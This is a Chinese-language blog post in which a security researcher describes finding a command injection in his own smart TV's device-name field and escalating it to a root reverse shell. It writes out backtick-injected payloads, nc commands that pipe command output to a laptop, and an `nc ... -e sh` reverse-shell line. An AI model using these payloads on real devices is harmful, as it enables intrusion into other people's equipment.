看我如何通過命令注入入侵我的智能電視
工作一天之後,晚上躺在床上看電視,雖然很累,但是還是在思考著我發現的我路由器的一個漏洞。在這樣的設備中找到漏洞總是很有趣的,因為可以看到除了開發人員或公司的技術支持團隊之外,用戶無法看到的內容。
由於我很累,我想在電視上設置睡眠定時器,然後躺下睡覺。但是,在設置計時器時,我想知道是不是存在只有開發者或者支持團隊才能看到的隱藏菜單。於是我通過Google進行快速搜索之後,我發現可以打開這個品牌的電視機隱藏菜單的代碼。
打開設置並輸入遙控器上的代碼後,屏幕左側彈出另一個菜單。幾乎所有的類別都不可以訪問。我只能激活「酒店模式」,並查看該套件的版本號。
我想了解更多有關電視的信息。在設置中,有一個名為「info」的類別。我打開它,只看到一些更多的版本號。但是我發現了一個讓我特別注意的地方:設置電視名稱。
我的智能電視的漏洞
因為在信息安全領域工作,在生活中遇到需要輸入的地方總會情不自禁的試一下日常的攻擊payload。比如在路由器web界面的get參數,或者新的印表機的控制面板,又比如現在我遇到的電視機。所以我認為將它命名為」`sleep 5`「會很有趣。
當我使用遙控器將payload輸入進去之後,確認之後設置菜單凍結了很久。恢復正常之後,我已經更改了名稱,並且可以再次訪問其他菜單。這時我並不認為它真的存在命令注入或者其他漏洞。在更改名稱之前,我的電視機掛起只需要幾秒鐘,但是現在掛起明顯需要很長一段時間,所以我對它有了很大的興趣。
此時的掛起時間與我輸入的5秒鐘並不相符,所以我猜想電視機內的程序應該對反引號內的字元進行了一定的處理,也許是電視機不接受這樣的設置,並且在阻止payload執行的過程中拋出了錯誤,導致時間遲緩。然後我又將」`sleep 0`「輸入進去,它瞬間載入成功。
雖然我不確定發生這種情況的原因是什麼,但是我確定我的payload一定被執行了。所以,我決定測量一下更改之後的每次響應的時間。事實證明,電視機的響應時間總比輸入的時間多3倍。如下:
sleep(2) —— 6秒sleep(3) —— 9秒sleep(5) —— 15秒
在智能電視中執行命令
我簡直不敢相信,在我嘗試的第一個輸入框中竟然存在命令注入。訪問菜單延遲並不是一個很好的證明,同時在解釋漏洞方面也不是很有用。由於這個輸入框限制31個字元,除去兩個反引號,我可以輸入的payload只剩下了29個字元。
下面表格中是我在電視裡面嘗試執行的命令,以及各個命令的含義,還有它們是否執行成功:
這時候已經太晚了,所以我決定先去睡覺,第二天再嘗試獲得shell。第二天醒來之後最大的困難就是起床去拿筆記本以及網線:)之前的系統命令全是在床上使用遙控器執行的。
獲取智能電視的shell
我的電視是壁掛式的,所以在它上面插入網線並不是想像中那麼容易。冒著肩膀脫臼的風險,我把電纜插到了電視上面。連接到我的筆記本電腦之後我通過ipconfig命令查看我電腦的ip。
所以現在我已經知道了我筆記本的Ip,只需要通過反向連接就可以得到電視的shell。因此我根本不需要知道電視的IP是什麼。同時反向shell也很方便,它可以繞過所有阻止入站連接的防火牆規則。但是在考慮如何在29個字元之內得到shell之前,我想先多了解一下電視機內的系統。
在電視機中使用netcat
我已經發現在電視機中安裝了nc,所以我決定使用nc通過建立與我的筆記本的連接將一些命令的輸出回顯到我的筆記本上。嘗試的第一個命令是id,這條命令可以告訴我們當前的許可權是不是root。
從上面的圖片中可以看到我們現在是root許可權。雖然這並不奇怪,但是還是很高興看到的。接下來我要做的是得到根目錄的目錄列表,使用ls -la /|nc 169.254.56.216 5這個命令。
很完美,不過現在還是沒有完全得到一個shell。並且執行的命令或多或少都有一定的限制並不是很有用。因為電視機版本的nc有-e參數,所以我們可以很簡單的使用 `nc 169.254.213.210 5 -e sh`得到一個反向shell。
已得到shell
完美,我現在已經有了一個很方便的反向shell。並且我對以一種可以看到的方式對電視機搞怪很感興趣,比如修改它的開機圖標,或者更改軟體的圖標。由於這是一個智能電視,所以有一些像youtube,skype這樣的預裝應用程序。
我發現絕大多數的文件系統都只是只讀的,所以我不能更改開機的圖標。但是有一些頻繁變化的圖片我們是可以修改的,比如:當你切換頻道時,顯示的頻道預覽框是可以改變的。它們包含你訪問頻道時運行的程序的快照。 顯然,這些必須被保存在一個可以讀寫文件的地方。
我注意到圖標圖像是.png文件。 我使用命令find / -name * .png列出了帶有.png擴展名的所有文件,但預覽文件不在那裡。但是我嘗試了相同的搜索,但這次是.jpg文件,我注意到一些文件,如channelImage123.jpg。 上傳我想顯示的文件,並替換相應的channelImage文件,下圖是替換之後的結果:
你的電視並不是你想的那麼智能
互聯網設備可能在非常奇怪的地方出現漏洞,當我嘗試sleep命令時我甚至沒有想到它會成功,因為我只是閑的無聊而已。並且我還沒想到我的電視竟然是在linux下工作的,甚至它可以被我攻擊成功。
這個漏洞並不能遠程攻擊,但是這證實了我沒有把我的電視連接到互聯網是正確的。因為我一想到有人操控我的電視機就不怎麼舒服。
※錯過唯品峰會,就好像錯過了一個億!
※藉助DNS解析來檢測Java反序列化漏洞
TAG:嘶吼RoarTalk |
※如何通過命令注入入侵別人的智能電視?拿自己的先開刀
※機器人也不安全 看看黑客是如何入侵它們的
※黑影入門心得:如何去選擇你的入侵目標
※守望先鋒黑影入門心得——如何選擇你的入侵目標
※守望先鋒黑影入門心得:如何去選擇你的入侵目標
※大量攝像頭遭入侵 如何才能蒙上偷窺者的「眼睛」?
※外星人入侵,我們該怎麼躲避?
※如果外星人真的入侵毀滅地球,我們能擋得住嗎?
※感覺身體被控制?有可能你的大腦被「入侵」了
※比上周更可怕的病毒入侵電腦 快看看你中招了嗎
※注意!電腦狂躁症正在嚴重入侵你的生活
※一旦我們成為半機械人,如何阻止黑客入侵我們大腦?
※新型病毒又來了,不點擊也能入侵你的電腦!
※央視曝光:智能攝像頭遭入侵,洗澡被偷看!
※因電腦被入侵,視頻暫緩更新
※我們該如何阻止《降臨》的外星人入侵?心理學很重要
※在遊戲里被擊殺也能入侵 這可能是最無厘頭的黑客劫持方式
※我們是否能及時發現外星人的入侵?
※面對智能的入侵,我們最不應該做的是……